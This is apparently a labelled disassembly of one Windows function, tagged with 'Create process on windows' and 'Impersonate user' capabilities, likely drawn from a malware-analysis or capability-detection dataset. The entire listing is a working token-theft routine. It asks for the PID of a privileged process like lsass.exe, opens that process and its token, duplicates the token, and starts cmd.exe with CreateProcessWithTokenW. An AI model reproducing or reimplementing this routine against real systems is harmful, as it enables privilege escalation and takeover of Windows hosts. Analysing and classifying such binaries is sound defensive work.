Function at 0x14001128f
Capabilities:
Create process on windows
Impersonate user

Disassembly:
jmp 0x140015e60
push rbp
push rdi
sub rsp, 0x258
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x52
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x14001e008]
xor rax, rbp
mov qword [rbp + 0x1f8], rax
lea rcx, [0x1400240a2]
call fcn.140011398
mov dword [rbp + 4], 0
mov qword [rbp + 0x28], 0
mov qword [rbp + 0x48], 0
mov qword [rbp + 0x68], 0
lea rax, [rbp + 0x90]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rbp + 0x118]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, str.Enter_the_PID_of_the_high_privileged_process__like_lsass.exe_:
call fcn.140011415
lea rdx, [rbp + 4]
lea rcx, [0x14001ac10]
call fcn.140011401
mov r8d, dword [rbp + 4]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x28], 0
jne 0x140015f38
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_open_the_process._Error:__d_n
call fcn.140011415
mov eax, 1
jmp 0x1400160ab
lea r8, [rbp + 0x48]
mov edx, 2
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x140015f77
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_open_the_process_token._Error:__d_n
call fcn.140011415
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400160ab
lea rax, [rbp + 0x68]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0xf01ff
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
test eax, eax
jne 0x140015fd6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_duplicate_the_token._Error:__d_n
call fcn.140011415
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400160ab
mov dword [rbp + 0x90], 0x68
lea rax, [rbp + 0x118]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x90]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.cmd.exe
xor edx, edx
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.ADVAPI32.dll_CreateProcessWithTokenW]
test eax, eax
jne 0x140016065
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Failed_to_create_a_process_with_the_token._Error:__d_n
call fcn.140011415
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x1400160ab
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Successfully_created_a_process_with_the_impersonated_token__n
call fcn.140011415
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x14001ae00]
call fcn.14001132f
mov rax, rdi
mov rcx, qword [rbp + 0x1f8]
xor rcx, rbp
call fcn.1400111c7
lea rsp, [rbp + 0x208]
pop rdi
pop rbp
ret